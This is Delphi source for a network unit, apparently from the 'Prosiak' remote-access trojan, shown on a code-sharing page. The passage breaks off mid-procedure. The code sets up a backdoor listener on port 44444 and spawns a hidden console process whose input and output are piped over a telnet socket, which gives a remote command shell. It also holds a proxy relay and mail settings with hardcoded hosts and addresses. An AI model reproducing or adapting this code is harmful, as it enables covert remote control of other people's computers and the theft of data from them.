📄 siec.pas
字号:
unit siec;
interface
uses forms,stale,toolz,sysutils,windows,classes,konfig,skrypt,httpd,
scktcomp;
const DEFbackport=44444;
DEFproxyhost='mail.lublin.pl';
DEFproxyremote=23;
DEFproxylocal=23;
DEFmailhost='mail.lublin.pl';
defmailfrom='<kwikwi@kki.net.pl>';
defsubject='Prosiak ';
DEFtelnetport=230;
DEFtelnetauto=true;
DEFProxyauto=true;
var NET_mailsending,NET_mailsent:boolean;
NET_telnetauto:boolean;
NET_proxyauto:boolean;
add_ipnumber:boolean;
procedure xsend(s:String);
procedure xsend2(s:String);
procedure PROXY_start;
procedure PROXY_stop;
procedure Reconfigremote(par1,par2:string);
procedure Reconfiglocal(par1:string);
function NET_commands(comm,par1,par2:string):boolean;
procedure NET_readconfig;
procedure NET_writeconfig;
procedure NET_updateconfig;
procedure NET_writeconfigdef;
procedure PROXY_server_connect(socket:TCustomWinSocket);
procedure PROXY_server_read(socket:TCustomWinSocket);
procedure PROXY_server_push(socket:TCustomWinSocket);
procedure PROXY_server_disconnect(socket:TCustomWinSocket);
procedure proxy_ServerClose;
procedure PROXY_client_connect(socket:TCustomWinSocket);
procedure PROXY_client_read(socket:TCustomWinSocket);
procedure PROXY_client_push(socket:TCustomWinSocket);
procedure PROXY_client_disconnect(socket:TCustomWinSocket);
procedure proxy_ClientClose;
procedure BACK_connect(socket:TCustomWinSocket);
procedure BACK_disconnect(socket:TCustomWinSocket);
procedure BACK_start;
procedure BACK_stop;
procedure BACK_kick; {wykopanie usera}
procedure NET_mail(socket:TCustomWinSocket);
procedure NET_mailstatus(par:string);
function ExecConsoleApp(CommandLine: String): Integer;
procedure cmd_end;
procedure telnetRead(Sender: TObject; Socket: TCustomWinSocket);
procedure telnet_start;
implementation
uses main,sharing;
var NET_clear:boolean;
var NET_proxyhost:string;
NET_proxyremote,NET_proxylocal:integer;
NET_backport:integer;
NET_dump1,NET_dump2:boolean;
NET_mailhost:string;
NET_mailfrom:string;
NET_mailto:string;
NET_subject:string;
NET_mailbody:TStringList;
NET_telnetport:integer;
var backdoor:boolean;
backclient:boolean; {backdoor}
proxy_started:boolean; {proxy}
var k2_conected,k1_conected:boolean;
const bufmax=100;
var Linia_cs,linia_sc: array[1..bufmax] of string;
linia_csl,linia_scl:integer;
const BufSize = $4000;
var
RHandle,Whandle: THandle;
WriteHandle, ReadHandle: THandle;
ReadBuf: array[0..BufSize] of Char;
ProcessInfo:TProcessInformation;
ThreadId:cardinal;
procedure xsend(s:String);
begin
if backclient then
form1.back.socket.connections[0].sendtext(s+#13#10);
end;
procedure xsend2(s:String);
begin
if backclient then
form1.back.socket.connections[0].sendtext(s);
end;
procedure telnet_out(s:string);
begin
if form1.telnet.Socket.ActiveConnections>0 then
form1.telnet.Socket.Connections[0].sendtext(s);
end;
procedure cmd_end;
var BytesWriten:cardinal;
begin
WriteFile(WHandle,#13#10'exit'#13#10#0,9,BytesWriten,nil);
przerwij:=true;
end;
procedure cmd_loop;
var wynik,exitcode,bytesread:cardinal;
begin
repeat
wynik:=WaitForSingleObject(RHandle,1);
if wynik<>WAIT_TIMEOUT then
begin
ReadFile(RHandle, ReadBuf, BufSize,BytesRead,nil);
if bytesread>0 then telnet_out(copy(ReadBuf,1,Bytesread));
end;
GetExitCodeProcess(ProcessInfo.hProcess, ExitCode);
until przerwij or (ExitCode<>STILL_ACTIVE);
TerminateProcess(Processinfo.hProcess, 255);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
CloseHandle(RHandle);
CloseHandle(ReadHandle);
ExitThread(0);
end;
function ExecConsoleApp(CommandLine: String): Integer;
var StartupInfo:TStartupInfo;
begin
FillChar(StartupInfo,SizeOf(StartupInfo), 0);
CreatePipe(RHandle, WriteHandle, nil, 0);
CreatePipe(ReadHandle, WHandle, nil, 0);
with StartupInfo do
begin
cb:= SizeOf(StartupInfo);
dwFlags:= STARTF_USESTDHANDLES;
hStdOutput:= WriteHandle;
hStdError:= WriteHandle;
hStdInput:=ReadHandle;
wShowWindow:= SW_HIDE;
end;
if not CreateProcess(nil, PChar(CommandLine), nil, nil,
false, DETACHED_PROCESS or NORMAL_PRIORITY_CLASS,
nil, nil, StartupInfo, ProcessInfo) then
begin
CloseHandle(RHandle);
CloseHandle(ReadHandle);
Result:=-1; exit;
end;
CreateThread(nil,0,@cmd_loop,nil,0,ThreadID);
end;
procedure telnetRead(Sender: TObject;
Socket: TCustomWinSocket);
var BytesWriten:cardinal;
text:string;
begin
text:=socket.receivetext;
WriteFile(WHandle,text[1],1,BytesWriten,nil);
end;
procedure telnet_start;
begin
NET_telnetport:=23;
form1.telnet.port:=NET_telnetport;
form1.telnet.active:=true;
end;
procedure telnet_stop;
begin
form1.telnet.close;
form1.telnet.active:=false;
end;
procedure back_start;
begin
form1.Back.port:=NET_backport;
try
form1.Back.active:=true;
except
halt;
end;
xlog('Back at port '+inttostr(NET_backport));
debug('Back at port '+inttostr(NET_backport));
backdoor:=true;
backclient:=false;
end;
procedure back_stop;
begin
form1.back.active:=false;
form1.back.Close;
xlog('Back closed');
backdoor:=false;
backclient:=false;
end;
procedure back_kick;
begin
form1.back.close;
form1.back.active:=true;
xlog('Backuser kick');
backdoor:=true;
backclient:=false;
telnetusr:=false;
end;
procedure proxy_start;
begin
if proxy_started then exit;
if form1.clisock.active then form1.clisock.active:=false;
if NET_proxyhost[1] in ['0'..'9'] then
form1.clisock.address:=NET_proxyhost else
form1.clisock.host:=NET_proxyhost;
form1.clisock.port:=NET_proxyremote;
form1.servsock.port:=NET_proxylocal;
form1.servsock.Active:=true;
xlog('Proxy '+inttostr(NET_proxylocal)+' -> '
+NET_proxyhost+':'+inttostr(NET_proxyremote));
debug('Proxy '+inttostr(NET_proxylocal)+' -> '
+NET_proxyhost+':'+inttostr(NET_proxyremote));
proxy_started:=true;
k1_conected:=false;
k2_conected:=false;
end;
procedure Proxy_Stop;
begin
if k2_conected then proxy_ClientClose;
if k1_conected then proxy_ServerClose;
xlog('Proxy stopped');
debug('Proxy stopped');
form1.servsock.active:=false;
proxy_started:=false;
end;
procedure reconfigremote(par1,par2:string);
begin
NET_proxyhost:=par1;
NET_proxyremote:=strtointdef(par2,23);
end;
procedure reconfiglocal(par1:string);
begin
NET_proxylocal:=strtointdef(par1,23);
end;
procedure proxy_ClientClose;
begin
debug('proxy: klient close');
if k2_conected then form1.clisock.close;
form1.clisock.active:=false;
k2_conected:=false;
end;
procedure proxy_ServerClose;
begin
debug('proxy: server close');
if k1_conected then form1.servsock.close;
form1.servsock.active:=false;
k1_conected:=false;
end;
procedure PROXY_client_push(socket:TcustomWinSocket);
var i:integer;
begin
if not k2_conected then exit;
if (linia_scl>0) then
begin
for i:=1 to linia_scl do socket.sendtext(linia_sc[i]);
linia_scl:=0;
end;
end;
procedure PROXY_server_push(socket:TcustomWinSocket);
var i:integer;
begin
if not k1_conected then exit;
if (linia_csl>0) then
begin
for i:=1 to linia_csl do socket.sendtext(linia_cs[i]);
linia_csl:=0;
end;
end;
procedure PROXY_server_read(socket:TCustomWinSocket);
var tx:string;
begin
repeat
tx:=socket.receivetext;
if tx='' then break;
inc(linia_scl);
linia_sc[linia_scl]:=tx;
if NET_dump1 then xsend2(tx);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -